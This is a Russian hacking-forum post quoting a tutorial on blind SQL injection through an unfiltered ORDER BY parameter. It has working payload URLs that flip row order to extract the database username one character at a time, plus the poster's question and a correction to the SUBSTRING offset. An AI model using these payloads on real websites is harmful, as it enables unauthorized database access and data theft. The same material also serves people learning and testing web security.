Показать сообщение отдельно

  #4  
Старый 17.05.2010, 08:25
[R]eD
Познающий
Регистрация: 01.08.2006
Сообщений: 35
Провел на форуме:
94171

Репутация: 3
По умолчанию

Цитата:
Сообщение от Dr.Z3r0  

3.6 Иньекция в операторе ORDER BY

Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
http://xxx/news.php?by=(id*1)
http://xxx/news.php?by=(id*-1)
Надеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это заистину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=112,1,-1))
Чтож вывелся обратный порядок новостей => ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
Опять ложь

http://xxx/news.php?by=(id*IF(ASCII(SUBSTRING(USER(),0,1))=114,1,-1))
О! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
Я правильно понимаю, что в данном случае ничего кроме глобальных переменных вроде USER достать нельзя? Т.е. вытащить что-то из базы не возможно?



P.S.
В статье опячатка:
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))
должно быть
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))

Последний раз редактировалось [R]eD; 17.05.2010 в 08:27..